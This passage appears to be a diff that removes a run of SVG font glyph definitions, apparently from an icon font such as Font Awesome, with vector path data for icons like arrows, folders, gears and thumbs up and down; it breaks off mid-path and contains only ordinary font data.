-<glyph unicode="&#xf063;" horiz-adv-x="750" d="M0 374q0 19 14 33l49 49q14 14 33 14t33 -14l165 -165v412q0 19 13.5 32.5t32.5 13.5h70q20 0 33 -13.5t13 -32.5v-412l166 165q14 14 32.5 14t32.5 -14l50 -49q14 -14 14 -33t-14 -33l-329 -328q-14 -14 -33 -14t-33 14l-328 328q-14 14 -14 33z" />
-<glyph unicode="&#xf064;" d="M0 66q0 102 35 192t106.5 157.5t181 107t259.5 40.5v143q0 35 17.5 42.5t43.5 -17.5l240 -241q17 -16 17 -40q0 -23 -17 -40l-240 -241q-25 -25 -43 -17.5t-18 42.5v161q-128 -1 -225 -27.5t-164 -72t-105 -107t-48 -132.5q-2 -16 -18 -16h-1q-16 0 -18 16q-3 25 -3 50z " />
-<glyph unicode="&#xf065;" horiz-adv-x="750" d="M0 42v255q0 26 13 31.5t32 -12.5l81 -81l134 134q6 6 15 6t16 -6l78 -78q6 -7 6 -16t-6 -15l-134 -134l81 -81q19 -19 13 -32t-32 -13h-254q-18 0 -30 12q-13 13 -13 30zM375 475q0 9 6 15l134 134l-81 81q-19 19 -13 32t32 13h254q18 0 30 -12q13 -13 13 -30v-255 q0 -26 -13 -31.5t-32 12.5l-81 81l-134 -133q-6 -7 -15 -7t-16 7l-78 77q-6 7 -6 16z" />
-<glyph unicode="&#xf066;" horiz-adv-x="750" d="M0 99q0 9 6 16l134 133l-81 81q-19 19 -13 32t32 13h254q19 0 30 -12q13 -13 13 -30v-255q0 -26 -13 -31.5t-32 13.5l-81 81l-134 -134q-6 -7 -15 -7t-16 7l-78 78q-6 6 -6 15zM375 417v255q0 26 13 31.5t32 -13.5l81 -81l134 134q6 7 15 7t16 -7l78 -78q6 -6 6 -15 t-6 -16l-134 -133l81 -81q19 -19 13 -32t-32 -13h-254q-20 0 -30 12q-13 13 -13 30z" />
-<glyph unicode="&#xf067;" horiz-adv-x="750" d="M0 340v70q0 19 13.5 32.5t32.5 13.5h248v247q0 20 13 33.5t33 13.5h70q19 0 32.5 -13.5t13.5 -32.5v-248h248q19 0 32.5 -13.5t13.5 -32.5v-70q0 -19 -13.5 -32.5t-32.5 -13.5h-248v-247q0 -20 -13.5 -33.5t-32.5 -13.5h-70q-19 0 -32.5 13.5t-13.5 32.5v248h-247 q-20 0 -33.5 13t-13.5 33z" />
-<glyph unicode="&#xf068;" horiz-adv-x="750" d="M0 340v70q0 19 13.5 32.5t32.5 13.5h658q19 0 32.5 -13.5t13.5 -32.5v-70q0 -19 -13.5 -32.5t-32.5 -13.5h-657q-20 0 -33.5 13t-13.5 33z" />
-<glyph unicode="&#xf069;" horiz-adv-x="697" d="M1 497q-5 18 5 35l35 61q10 17 28.5 21.5t35.5 -4.5l162 -94v187q0 20 13.5 33.5t33.5 13.5h69q20 0 33.5 -13.5t13.5 -32.5v-188l162 94q17 9 35.5 4.5t28.5 -21.5l34 -61q10 -17 5.5 -35t-21.5 -28l-163 -94l163 -94q17 -10 21.5 -28t-4.5 -35l-35 -61 q-10 -17 -28.5 -21.5t-35.5 4.5l-162 94v-187q0 -20 -13.5 -33.5t-33.5 -13.5h-69q-20 0 -33.5 13.5t-13.5 32.5v188l-162 -94q-17 -10 -35.5 -5t-28.5 22l-35 61q-9 17 -4.5 35t21.5 28l163 94l-163 94q-17 10 -22 28z" />
-<glyph unicode="&#xf06a;" horiz-adv-x="750" d="M0 375q0 78 29.5 146t80.5 119t119 80.5t146 29.5t146 -29.5t119 -80.5t80.5 -119t29.5 -146t-29.5 -146t-80.5 -119t-119 -80.5t-146 -29.5t-146 29.5t-119 80.5t-80.5 119t-29.5 146zM316 613l6 -347q2 -14 15 -14h76q14 0 14 14l7 347q1 5 -4 10q-3 4 -10 4h-90 q-7 0 -10 -4q-4 -4 -4 -10zM319 125q0 -14 14 -14h85q5 0 9.5 4t4.5 10v82q0 6 -4.5 10t-9.5 4h-85q-14 0 -14 -14v-82z" />
-<glyph unicode="&#xf06b;" d="M0 281v188q0 8 5.5 13.5t13.5 5.5h258q-27 0 -51 10t-42 28t-28.5 42t-10.5 51t10.5 51t28.5 41.5t42 28t51 10.5q29 0 55 -11.5t43 -33.5l75 -97l75 97q17 22 43 33.5t55 11.5q27 0 51 -10.5t42 -28t28.5 -41.5t10.5 -51t-10.5 -51t-28.5 -42t-42 -28t-51 -10h258 q8 0 13.5 -5.5t5.5 -13.5v-188q0 -8 -5.5 -13t-13.5 -5h-56v-207q0 -23 -16.5 -39.5t-39.5 -16.5h-638q-23 0 -39.5 16.5t-16.5 39.5v207h-56q-8 0 -13.5 5t-5.5 13zM220 619q0 -23 17 -39.5t40 -16.5h113l-73 94q-5 5 -15 11.5t-25 6.5q-23 0 -40 -16.5t-17 -39.5zM356 105 q0 -15 11 -26t27 -11h112q16 0 27 11t11 26v383h-188v-383zM509 563h114q23 0 40 16.5t17 39.5t-17 39.5t-40 16.5q-15 0 -25 -6.5t-15 -11.5z" />
-<glyph unicode="&#xf06c;" d="M3 78q9 25 25.5 41.5t33.5 30.5q14 11 24 20.5t13 20.5q1 2 0 5t-5 11q-2 6 -5 13.5t-5 16.5q-12 75 6.5 139t56.5 114.5t91 86.5t111 56q38 14 83.5 16.5t95.5 3.5q28 0 59.5 1t60.5 5.5t53.5 13.5t39.5 25q10 10 18.5 19.5t18 16.5t20.5 11.5t27 4.5q23 0 33 -21 q62 -121 32 -283q-42 -228 -272 -347q-110 -57 -220 -57q-36 0 -72.5 6t-71.5 19q-11 4 -21.5 9.5t-21.5 10.5q-13 8 -26.5 14.5t-22.5 7.5q-5 -1 -11.5 -8t-13 -16.5t-12.5 -19t-10 -15.5q-6 -11 -12 -20t-11 -16q-11 -14 -29 -14h-2q-28 2 -39 17.5t-14 23.5q-13 18 -5 37 zM188.5 253.5q1.5 -15.5 13.5 -26.5q10 -9 24 -9q18 0 28 13q42 48 85.5 82t90.5 54.5t99.5 29t114.5 6.5q15 -2 26.5 9.5t12.5 26.5q0 16 -10.5 27.5t-26.5 11.5q-69 3 -130 -7t-116 -34t-104.5 -63t-97.5 -94q-11 -11 -9.5 -26.5z" />
-<glyph unicode="&#xf06d;" horiz-adv-x="675" d="M0 214q0 58 30.5 119.5t82.5 111.5q-11 -75 0.5 -120.5t30.5 -71.5q22 -30 53 -44q-24 105 -14 204q4 42 15.5 87.5t34 90t58.5 85.5t89 74q-23 -49 -22 -90t11 -71q11 -35 34 -64q16 -19 30.5 -37.5t25 -42.5t16.5 -56.5t6 -78.5q-9 20 -27 32t-41 12q-32 0 -53.5 -22 t-21.5 -53q0 -16 5.5 -30t17 -25t30 -17t44.5 -6q44 4 77 31q13 12 25.5 29.5t20.5 43t10 60t-5 80.5h-1q52 -50 82.5 -111.5t30.5 -119.5q0 -54 -26.5 -94t-72.5 -66.5t-107 -40t-131 -13.5t-131.5 13.5t-107.5 40t-72.5 66.5t-26.5 94z" />
-<glyph unicode="&#xf06e;" d="M0 352.5q0 21.5 12 40.5q38 61 87 109.5t105.5 82t118.5 51t127 17.5q66 0 128 -17.5t118 -50.5t105 -81.5t88 -110.5q11 -19 11 -40.5t-11 -39.5q-39 -62 -88 -110.5t-105 -81.5t-118 -50.5t-128 -17.5q-65 0 -127 17.5t-118.5 51t-105.5 82t-87 109.5q-12 18 -12 39.5z M75 353q32 -51 73 -93t89 -71t101.5 -45t111.5 -16t111.5 16t101.5 45t89 71t73 93q-39 63 -91.5 110.5t-115.5 76.5q25 -29 39 -65t14 -78q0 -47 -17.5 -87.5t-48.5 -71.5t-72 -48.5t-87 -17.5q-47 0 -87.5 17.5t-71.5 48.5t-48.5 71.5t-17.5 87.5q0 38 12.5 72.5 t33.5 62.5q-57 -29 -106 -74.5t-86 -104.5zM300 397q0 -11 8 -19.5t20 -8.5t20 8.5t8 19.5q0 38 26 64t64 26q12 0 20 8.5t8 19.5q0 12 -8 20t-20 8q-30 0 -57 -11.5t-46.5 -31t-31 -46.5t-11.5 -57z" />
-<glyph unicode="&#xf070;" d="M0 374.5q0 21.5 12 40.5q38 61 87 109.5t105.5 82t118.5 51t127 17.5q26 0 51.5 -3.5t50.5 -8.5l43 77q4 7 12 9q6 3 14 -1l65 -37q7 -4 9.5 -11.5t-1.5 -14.5l-378 -675q-3 -7 -11 -9q-2 -1 -5 -1t-9 2l-66 37q-7 4 -9 11.5t2 14.5l32 56q-71 33 -131.5 87t-106.5 127 q-12 18 -12 39.5zM75 375q40 -64 93.5 -112t117.5 -77l28 51q-42 31 -67.5 78t-25.5 104q0 38 12.5 72.5t33.5 63.5q-57 -30 -106 -75t-86 -105zM300 419q0 -11 8 -19.5t20 -8.5t20 8.5t8 19.5q0 38 26 64t64 26q12 0 20 8.5t8 19.5q0 12 -8 20t-20 8q-30 0 -57 -11.5 t-46.5 -31t-31 -46.5t-11.5 -57zM453 75l43 78q102 12 186.5 70.5t142.5 151.5q-53 83 -128 138l37 67q45 -32 84 -73t71 -92q11 -19 11 -40.5t-11 -39.5q-78 -124 -191.5 -191.5t-244.5 -68.5zM528 210l139 249q2 -10 3 -19.5t1 -20.5q0 -36 -10.5 -68.5t-29.5 -59.5 t-45.5 -48t-57.5 -33z" />
-<glyph unicode="&#xf071;" horiz-adv-x="850" d="M5 23.5q-14 23.5 6 56.5l368 637q18 33 46 33q26 0 46 -33l368 -637q19 -33 5.5 -56.5t-51.5 -23.5h-736q-38 0 -52 23.5zM160 113h530l-265 459zM370 434q0 6 4 10t9 4h84q5 0 9 -4t4 -10l-7 -182q0 -12 -13 -12h-70q-13 0 -13 12zM372 189q0 13 13 13h78q13 0 13 -13 l1 -49q0 -13 -13 -13h-78q-13 0 -13 13z" />
-<glyph unicode="&#xf072;" d="M1 212l34 144q2 8 2 18t-2 18l-34 144q-2 8 2 13.5t12 5.5h45q8 0 17 -4.5t14 -10.5l85 -110q44 9 92 14t94 5h12l-61 283q-2 8 2.5 13t12.5 5h64q8 0 16 -4.5t12 -11.5l164 -285h157q29 0 58 -6.5t51.5 -17t36.5 -24t13 -27.5q1 -14 -13 -27.5t-36.5 -24t-51.5 -17 t-58 -6.5h-158l-163 -283q-4 -7 -12 -11.5t-16 -4.5h-64q-8 0 -12.5 5t-2.5 13l61 281h-12q-46 0 -94 5.5t-92 13.5l-85 -110q-12 -14 -31 -14h-45q-8 0 -12 5t-2 13z" />
-<glyph unicode="&#xf073;" horiz-adv-x="750" d="M0 56v549q0 23 16.5 39.5t39.5 16.5h36v-69q0 -28 19.5 -47.5t47.5 -19.5h15q28 0 48 19.5t20 47.5v69h58v-69q0 -28 19.5 -47.5t47.5 -19.5h16q28 0 47.5 19.5t19.5 47.5v69h58v-69q0 -28 20 -47.5t48 -19.5h15q28 0 47.5 19.5t19.5 47.5v69h36q23 0 39.5 -16.5 t16.5 -39.5v-549q0 -23 -16.5 -39.5t-39.5 -16.5h-638q-23 0 -39.5 16.5t-16.5 39.5zM75 75h600v398h-600v-398zM129 592v128q0 12 9 21t21 9h15q13 0 21.5 -9t8.5 -21v-128q0 -12 -8.5 -20.5t-21.5 -8.5h-15q-12 0 -21 8.5t-9 20.5zM177 158q0 36 20 58.5t43.5 39t43.5 32 t20 36.5q0 20 -11.5 29t-28.5 9q-11 0 -20.5 -4.5t-16.5 -11.5q-4 -4 -7 -8t-6 -9l-34 23q7 14 20 27q11 11 27.5 19t40.5 8q35 0 61 -20.5t26 -58.5q0 -21 -9 -36.5t-23 -28t-30 -22.5t-30 -20t-23.5 -21t-9.5 -25h92v34h42v-73h-185q-1 6 -1.5 12t-0.5 11zM338 592v128 q0 12 8.5 21t20.5 9h16q12 0 21 -9t9 -21v-128q0 -12 -9 -20.5t-21 -8.5h-16q-12 0 -20.5 8.5t-8.5 20.5zM397 330v71h187v-34l-117 -232h-51l107 212q3 8 6 11l3 4v1q-3 0 -5 -1h-13h-75v-32h-42zM546 592v128q0 12 8.5 21t21.5 9h15q12 0 21 -9t9 -21v-128q0 -12 -9 -20.5 t-21 -8.5h-15q-13 0 -21.5 8.5t-8.5 20.5z" />
-<glyph unicode="&#xf074;" d="M0 122v75q0 19 19 19h107q25 0 48.5 15.5t45.5 41t44 58.5t44 68q27 43 56 85.5t62 75.5t72 53.5t88 20.5h99v90q0 20 12 24t29 -10l163 -135q11 -9 11 -23q0 -13 -11 -22l-163 -136q-17 -14 -29 -10t-12 24v86h-99q-26 0 -49 -15.5t-45.5 -41t-44.5 -58.5t-44 -68 q-27 -44 -55.5 -86t-61.5 -75t-72.5 -53.5t-87.5 -20.5h-107q-8 0 -13.5 5t-5.5 13zM0 541v75q0 8 5.5 13.5t13.5 5.5h107q52 0 93.5 -23.5t76.5 -61.5q-18 -25 -34 -49.5t-31 -47.5q-25 31 -50.5 50t-54.5 19h-107q-8 0 -13.5 5.5t-5.5 13.5zM417 190q17 24 33 48.5 t31 48.5q25 -31 50.5 -50t54.5 -19h99v94q0 20 12 24t29 -10l163 -136q11 -9 11 -22q0 -14 -11 -23l-163 -135q-17 -14 -29 -10t-12 24v82h-99q-53 0 -93.5 23t-75.5 61z" />
-<glyph unicode="&#xf075;" d="M0 421q0 68 35.5 128t96.5 104.5t143 70.5t175 26t175 -26t143 -70.5t96.5 -104.5t35.5 -128t-35.5 -128t-96.5 -104.5t-143 -70.5t-175 -26q-44 0 -84 6q-42 -32 -90.5 -55t-103.5 -35l-24 -4q-12 -2 -25 -4q-16 -2 -20 14v1q-2 7 3 11l9 10q10 11 19.5 21.5t17 24.5 t14 32.5t11.5 45.5q-81 45 -129 112.5t-48 148.5z" />
-<glyph unicode="&#xf076;" horiz-adv-x="750" d="M0 311v139q0 8 5.5 13.5t13.5 5.5h187q8 0 13.5 -5.5t5.5 -13.5v-139q0 -13 11 -28t30.5 -28t47 -21.5t61.5 -8.5t61.5 8.5t47 21.5t30.5 28t11 28v139q0 8 5.5 13.5t13.5 5.5h187q8 0 13.5 -5.5t5.5 -13.5v-139q0 -65 -29.5 -121.5t-80.5 -98.5t-119 -66.5t-146 -24.5 t-146 24.5t-119 66.5t-80.5 98.5t-29.5 121.5zM0 544v187q0 19 19 19h187q19 0 19 -19v-187q0 -19 -19 -19h-187q-19 0 -19 19zM525 544v187q0 19 19 19h187q19 0 19 -19v-187q0 -19 -19 -19h-187q-19 0 -19 19z" />
-<glyph unicode="&#xf077;" horiz-adv-x="750" d="M-0.5 173.5q-0.5 18.5 13.5 32.5l329 329q14 14 33 14t33 -14l328 -329q14 -14 14 -32.5t-14 -32.5l-49 -50q-14 -14 -33 -14t-33 14l-248 249l-244 -249q-14 -14 -33 -14t-33 14l-49 50q-14 14 -14.5 32.5z" />
-<glyph unicode="&#xf078;" horiz-adv-x="750" d="M0 448.5q0 18.5 14 32.5l49 50q14 14 33 14t33 -14l248 -249l244 249q14 14 33 14t33 -14l49 -50q14 -14 14.5 -32.5t-13.5 -32.5l-329 -329q-14 -14 -33 -14t-33 14l-328 329q-14 14 -14 32.5z" />
-<glyph unicode="&#xf079;" d="M1 502.5q-6 14.5 13 34.5l181 199q12 14 30 14t30 -14l181 -199q19 -20 13 -34.5t-32 -14.5h-117v-319h81q4 -5 6.5 -9.5t7.5 -9.5l119 -131h-327q-15 0 -26 11t-11 26v432h-117q-26 0 -32 14.5zM386 731h326q16 0 27 -11t11 -26v-431h117q26 0 32 -15t-13 -35l-181 -199 q-12 -14 -30 -14t-30 14l-181 199q-19 20 -13 35t32 15h117v318h-81q-4 5 -6.5 9.5t-7.5 9.5z" />
-<glyph unicode="&#xf07a;" d="M0 694v37q0 19 19 19h113q8 0 18.5 -2t17.5 -4q3 -2 7 -7t7.5 -11.5t6 -13t3.5 -10.5l13 -61h658q17 0 28 -13t8 -29l-53 -282q-3 -12 -13 -20.5t-24 -8.5h-529l17 -82q2 -8 8.5 -13t14.5 -5h418q8 0 13.5 -5.5t5.5 -13.5v-38q0 -8 -5.5 -13t-13.5 -5h-80h-318h-51 q-8 0 -18 1.5t-17 4.5q-3 1 -7 6.5t-7.5 12t-6 13t-3.5 10.5l-105 496q-2 8 -8.5 13t-14.5 5h-83q-19 0 -19 19zM284 56q0 23 16.5 40t39.5 17q24 0 40.5 -17t16.5 -40t-16.5 -39.5t-40.5 -16.5q-23 0 -39.5 16.5t-16.5 39.5zM602 56q0 23 16.5 40t39.5 17t39.5 -17 t16.5 -40t-16.5 -39.5t-39.5 -16.5t-39.5 16.5t-16.5 39.5z" />
-<glyph unicode="&#xf07b;" d="M0 56v638q0 23 16.5 39.5t39.5 16.5h338q23 0 39.5 -16.5t16.5 -39.5t16.5 -39.5t39.5 -16.5h338q23 0 39.5 -17t16.5 -40v-525q0 -23 -16.5 -39.5t-39.5 -16.5h-788q-23 0 -39.5 16.5t-16.5 39.5z" />
-<glyph unicode="&#xf07c;" d="M0 185v509q0 23 16.5 39.5t39.5 16.5h338q23 0 39.5 -16.5t16.5 -39.5t16.5 -39.5t39.5 -16.5h216q23 0 39.5 -17t16.5 -40v-108h-600q-18 0 -35 -6t-32 -16.5t-26 -25t-17 -31.5zM21 0l120 371q3 11 15 19t23 8h721l-127 -370q-3 -11 -15 -19.5t-23 -8.5h-714z" />
-<glyph unicode="&#xf07d;" horiz-adv-x="375" d="M0.5 187q4.5 11 27.5 11h95v354h-95q-23 0 -27.5 10.5t11.5 26.5l150 151q10 10 26 10q15 0 25 -10l150 -151q16 -15 11.5 -26t-27.5 -11h-95v-354h95q23 0 27.5 -10.5t-11.5 -26.5l-150 -151q-10 -10 -26 -10q-15 0 -25 10l-150 151q-16 15 -11.5 26z" />
-<glyph unicode="&#xf07e;" horiz-adv-x="750" d="M0 357q0 15 10 25l151 151q15 15 26 10.5t11 -26.5v-96h354v96q0 22 10.5 26.5t26.5 -11.5l151 -150q10 -10 10 -25t-10 -25l-151 -151q-15 -16 -26 -11t-11 27v96h-354v-96q0 -22 -10.5 -26.5t-26.5 11.5l-151 150q-10 10 -10 25z" />
-<glyph unicode="&#xf080;" d="M0 56v638q0 23 17 39.5t40 16.5h787q23 0 39.5 -16.5t16.5 -39.5v-638q0 -23 -16.5 -39.5t-39.5 -16.5h-787q-23 0 -40 16.5t-17 39.5zM75 75h750v600h-750v-600zM150 129v177h99v-177h-99zM317 129v379h98v-379h-98zM485 129v289h99v-289h-99zM651 129v450h99v-450h-99z " />
-<glyph unicode="&#xf081;" horiz-adv-x="750" d="M0 94v562q0 19 7.5 36.5t20 30t29.5 20t36 7.5h563q39 0 66.5 -27.5t27.5 -66.5v-562q0 -20 -7.5 -37t-20 -29.5t-30 -20t-36.5 -7.5h-563q-19 0 -36 7.5t-29.5 20t-20 29.5t-7.5 37zM98 273q39 -54 97 -82.5t127 -28.5q47 0 90 13t78 36t60.5 55t37.5 70q40 3 63 28 q7 7 2 16q-4 9 -15 7h-2q11 11 15 22q4 10 -4 16q-7 7 -16 1q-4 -2 -14.5 -5t-22.5 -3q-2 0 -3.5 0.5t-3.5 0.5q0 1 -0.5 2t-0.5 2q-8 30 -28 54t-46 35q2 2 3 4t3 4q3 8 0 16q-1 3 -6 8t-17 4q-1 2 -3 4q-6 6 -12 4q-12 -2 -24 -6l-1 1q-7 4 -15 -1q-29 -18 -48 -49 t-33 -66q-17 15 -28 20q-30 17 -63 31t-75 30q-7 2 -12 -2q-5 -3 -7 -10q-1 -13 4 -28.5t19 -30.5q-12 -3 -10 -16q6 -33 33 -49l-6 -6q-7 -7 -2 -16q2 -6 13 -18.5t32 -18.5q-3 -6 -3 -11t1 -7q3 -16 19 -24q-18 -12 -38.5 -16.5t-41.5 -3t-40.5 10t-34.5 22.5q-4 4 -9.5 4 t-9.5 -4q-11 -9 -2 -19z" />
-<glyph unicode="&#xf082;" horiz-adv-x="750" d="M1 94v562q0 19 7.5 36.5t20 30t29.5 20t36 7.5h563q39 0 66.5 -27.5t27.5 -66.5v-562q0 -20 -7.5 -37t-20 -29.5t-30 -20t-36.5 -7.5h-237v314h84q6 0 10.5 4t4.5 10l6 82q0 7 -4 12q-5 5 -11 5h-90v36q0 20 5 26.5t26 6.5q12 0 27 -2t29 -5q3 0 6.5 0.5t5.5 2.5 q5 3 7 11l11 79q2 14 -12 17q-44 12 -92 12q-147 0 -147 -143v-41h-50q-16 0 -16 -16v-82q0 -6 4.5 -10.5t11.5 -4.5h50v-314h-192q-19 0 -36 7.5t-29.5 20t-20 29.5t-7.5 37z" />
-<glyph unicode="&#xf083;" d="M0 56v638q0 23 16.5 39.5t39.5 16.5h788q23 0 39.5 -16.5t16.5 -39.5v-638q0 -23 -16.5 -39.5t-39.5 -16.5h-788q-23 0 -39.5 16.5t-16.5 39.5zM75 78h750v56h-750v-56zM75 559h750v113h-467l-7 -45h-276v-68zM130 655h154v45h-154v-45zM272 346q0 -37 14 -69.5t38 -56.5 t56.5 -38t69.5 -14t69.5 14t56.5 38t38 56.5t14 69.5t-14 69.5t-38 56.5t-56.5 38t-69.5 14t-69.5 -14t-56.5 -38t-38 -56.5t-14 -69.5zM328 346q0 25 9.5 47.5t26 39t39 26t47.5 9.5t47.5 -9.5t39 -26t26 -39t9.5 -47.5t-9.5 -47.5t-26 -39t-39 -26t-47.5 -9.5t-47.5 9.5 t-39 26t-26 39t-9.5 47.5zM363 346q0 -8 6 -14t14 -6q9 0 15 6t6 14q0 20 13.5 33t32.5 13v1q9 0 15 6t6 14q0 9 -6 15t-15 6q-36 0 -61.5 -26t-25.5 -62z" />
-<glyph unicode="&#xf084;" d="M0.5 391.5q-2.5 52.5 14 108.5t53.5 107q36 51 83.5 85t98 48t99.5 8t90 -35q36 -26 57 -63.5t27.5 -82.5t-1.5 -93.5t-32 -95.5l195 -139l47 65l-49 35q-7 5 -8.5 13t3.5 15l23 32q5 7 13 8.5t15 -3.5l163 -116q7 -5 8 -13t-4 -15l-23 -33q-5 -7 -13 -8.5t-15 3.5 l-48 35l-47 -65l116 -83q20 -14 24.5 -39t-10.5 -45q-14 -20 -38.5 -24t-44.5 10l-376 269q-37 -38 -80.5 -61.5t-88 -31.5t-87 -0.5t-78.5 33.5q-41 29 -62.5 74t-24 97.5zM109 374.5q3 -19.5 13.5 -37t27.5 -29.5t37 -16.5t39.5 -1t37 14t29.5 27.5q17 24 18 53t-12 54 q28 -5 55 5.5t45 35.5q12 17 16.5 37t1 39.5t-14 37t-27.5 29.5t-37 16.5t-39.5 1t-37 -14t-29.5 -27.5q-17 -25 -18.5 -54t12.5 -54q-28 5 -55 -5.5t-45 -35.5q-12 -17 -16 -36.5t-1 -39z" />
-<glyph unicode="&#xf085;" d="M0 391v84q0 6 5 6q14 4 29.5 6t30.5 4q4 0 7 0.5t7 0.5q6 21 17 42q-9 14 -20 28t-23 28q-5 5 0 9q14 17 30 33.5t33 30.5q6 4 9 -1q8 -8 17 -14.5t18 -13.5l21 -15q21 11 42 17q2 21 4.5 39t6.5 35q0 5 6 5h84q7 0 7 -6q2 -14 4.5 -28.5t4.5 -29.5l2 -15q20 -6 41 -17 q8 7 19 14q10 8 19.5 15t18.5 15q6 4 9 -1q5 -4 9 -8l8 -8l22 -22q12 -12 23 -25q3 -5 0 -9q-10 -11 -20 -24.5t-23 -30.5q6 -11 10.5 -22t8.5 -22q8 -2 17.5 -3t19.5 -3l18 -2q9 -1 17 -3q6 -2 6 -7v-84q0 -5 -5 -7q-14 -3 -29.5 -5t-30.5 -4q-4 0 -14 -2q-6 -20 -17 -41 q9 -14 20 -28t23 -28q4 -5 0 -9q-14 -17 -30 -33.5t-33 -30.5q-6 -4 -9 1q-8 7 -17 14t-18 13q-5 5 -10.5 8.5t-10.5 7.5q-21 -11 -42 -17q-2 -17 -4 -36.5t-7 -37.5q-2 -5 -7 -5h-84q-6 0 -6 5q-3 14 -5 29l-4 30l-2 15q-20 6 -41 17q-5 -4 -9.5 -7t-9.5 -7 q-10 -8 -19.5 -15t-18.5 -15q-6 -4 -9 1q-5 4 -8 8l-9 8q-11 11 -22.5 22t-22.5 25q-4 4 0 8q12 14 22.5 28.5t19.5 27.5q-10 20 -18 44q-8 2 -17.5 3t-19.5 3l-18 2q-9 1 -18 3q-5 2 -5 7zM197 432q0 -35 25 -60t60 -25t60 25t25 60t-25 60t-60 25t-60 -25t-25 -60z M524 188q-2 6 4 8q11 4 21 8t21 8q1 5 1.5 9t2.5 9t3.5 8.5t3.5 8.5q-7 10 -13 19.5t-12 19.5q-3 5 2 8l62 56q4 4 9 1q9 -7 17.5 -14t17.5 -15q18 7 35 8q5 11 10.5 21t10.5 19q3 5 8 3l80 -25q5 -2 5 -8q-2 -11 -4 -21.5t-4 -21.5q8 -6 14 -13t11 -15q12 1 23 1.5t22 0.5 q5 0 7 -5l18 -83q2 -5 -4 -7q-11 -5 -21 -8.5t-21 -7.5q-1 -5 -1.5 -9t-2.5 -9t-3.5 -8.5t-3.5 -7.5q7 -10 13.5 -19.5t11.5 -19.5q2 -5 -2 -8l-62 -57q-4 -4 -9 0q-8 7 -17 14t-17 14q-20 -7 -37 -8q-5 -11 -10 -21t-10 -19q-3 -5 -8 -3l-80 25q-5 2 -5 8q2 11 3.5 22 t3.5 22q-14 12 -24 27q-12 -2 -23.5 -2.5t-22.5 0.5q-5 0 -7 5zM560 607q0 5 5 7q10 2 20 4.5t20 4.5q2 4 3 8t3 8t4.5 7t4.5 7q-5 10 -9 19.5t-8 18.5q-2 4 2 8l64 42q5 3 8 -1q8 -7 14.5 -14.5t13.5 -15.5q16 3 33 3q12 18 24 33q3 3 8 2l69 -34q5 -3 3 -8 q-2 -10 -5.5 -19t-6.5 -19q10 -13 18 -29q11 -1 21.5 -1.5t20.5 -2.5q5 -2 5 -6l5 -77q0 -4 -5 -6q-10 -2 -19.5 -4.5t-20.5 -4.5q-2 -4 -3 -7.5t-3 -7.5q-3 -7 -8 -14q5 -10 9 -19.5t8 -18.5q2 -5 -3 -8l-63 -42q-5 -3 -8 1q-13 12 -28 30q-8 -2 -16.5 -3t-17.5 0 q-6 -9 -12 -17.5t-12 -16.5q-3 -3 -8 -1l-69 34q-5 2 -3 7q3 10 6 19.5t7 19.5q-6 6 -10.5 13t-8.5 15q-11 1 -21.5 1.5t-20.5 2.5q-5 0 -5 6zM658 203q-7 -22 3.5 -42.5t33.5 -27.5q22 -8 42.5 2.5t27.5 33.5q8 22 -2.5 42.5t-33.5 28.5q-22 7 -42.5 -3.5t-28.5 -33.5z M681 564q7 -20 26 -30q20 -9 40 -2.5t29 25.5q10 20 3 40t-26 29q-19 10 -39 3t-30 -26t-3 -39z" />
-<glyph unicode="&#xf086;" d="M0 483q0 55 29 103.5t78.5 85t116 57.5t142.5 21t142.5 -21t116 -57.5t78 -85t28.5 -103.5q0 -56 -28.5 -104.5t-78 -84.5t-116 -57t-142.5 -21q-18 0 -35 1.5t-34 3.5q-34 -26 -73 -45t-84 -29q-20 -5 -40 -6q-12 -2 -16 11v1q-2 5 1.5 9t7.5 8q17 17 30 37t21 64 q-66 36 -105 91t-39 121zM305 136q8 4 12 7q13 -2 25 -2h24q93 0 173 26.5t139.5 72.5t93.5 108.5t34 134.5q0 19 -3 39q45 -36 71 -81.5t26 -98.5q0 -66 -39 -120.5t-105 -91.5q8 -44 21 -63.5t30 -36.5q4 -5 7.5 -9t1.5 -9q-1 -6 -6 -9.5t-10 -2.5q-11 2 -20.5 3.5 t-19.5 3.5q-88 19 -157 73q-17 -2 -34 -3.5t-35 -1.5q-66 0 -123.5 16t-105.5 45z" />
-<glyph unicode="&#xf087;" horiz-adv-x="783" d="M0.5 222q-1.5 56 2 112t12.5 105q45 3 94 3t90 -10q6 -38 10 -91t5.5 -110t0.5 -111t-5 -94q-18 -2 -41.5 -2.5t-49 0.5t-50 1.5t-44.5 0.5q-10 38 -16.5 89t-8 107zM91 101q0 -16 11 -27t27 -11t26.5 11t10.5 27q0 15 -10.5 26t-26.5 11t-27 -11t-11 -26zM240 412 q22 10 35.5 19.5t24.5 21t22.5 26t30.5 34.5q16 16 28.5 26.5t23 20t19 20t17.5 25.5q16 29 21 65t13 68q0 7 7 11q19 3 35 -3.5t28 -17.5t19.5 -26t10.5 -28q6 -33 -1.5 -59.5t-19 -50.5t-22 -46.5t-11.5 -47.5q21 -9 51.5 -9.5t63.5 1t64 1.5t52 -8.5t28.5 -29t-5.5 -59.5 q0 -2 -2.5 -5.5t-5 -8t-4.5 -8.5l-2 -3q11 -11 16 -23t5 -20q1 -39 -32 -68q10 -15 11 -31.5t-4 -31.5t-14.5 -26.5t-21.5 -17.5q6 -34 -6 -58t-35.5 -38.5t-56.5 -20.5t-69 -6t-72.5 5t-67.5 14q-20 6 -39 14t-38.5 15t-41 11t-45.5 0q2 39 2.5 85t-1 93.5t-4.5 92.5t-7 82 z" />
-<glyph unicode="&#xf088;" horiz-adv-x="783" d="M1 452q-1 21 7.5 37.5t24.5 30.5q-9 15 -10 31.5t3.5 31.5t14 26.5t21.5 17.5q-6 34 6 58t35.5 38.5t56.5 20.5t69 6t72.5 -5t67.5 -14q20 -6 39 -14t38.5 -15t41 -10.5t45.5 0.5q-2 -39 -2.5 -85.5t1 -94t4 -92.5t7.5 -82q-22 -10 -35.5 -19.5t-24 -21t-22.5 -26 t-31 -33.5q-15 -17 -27.5 -27.5t-23 -20t-19.5 -19.5t-18 -26q-16 -29 -20.5 -65t-13.5 -68q0 -8 -7 -11q-20 -3 -35.5 3.5t-27.5 17.5t-19.5 25.5t-10.5 28.5q-6 33 1.5 59.5t19 50.5t22 47t11.5 48q-21 9 -51.5 9t-63.5 -1.5t-63.5 -1.5t-52 8.5t-29 29t5.5 59.5 q1 1 3.5 5.5t5 8.5t3.5 8l2 3q-11 11 -16 23t-5 20zM568 630q1 54 5 94q18 2 42 2.5t49.5 0t50 -1.5t44.5 -1q10 -38 16 -89t7.5 -106.5t-2 -112t-12.5 -105.5q-45 -3 -93.5 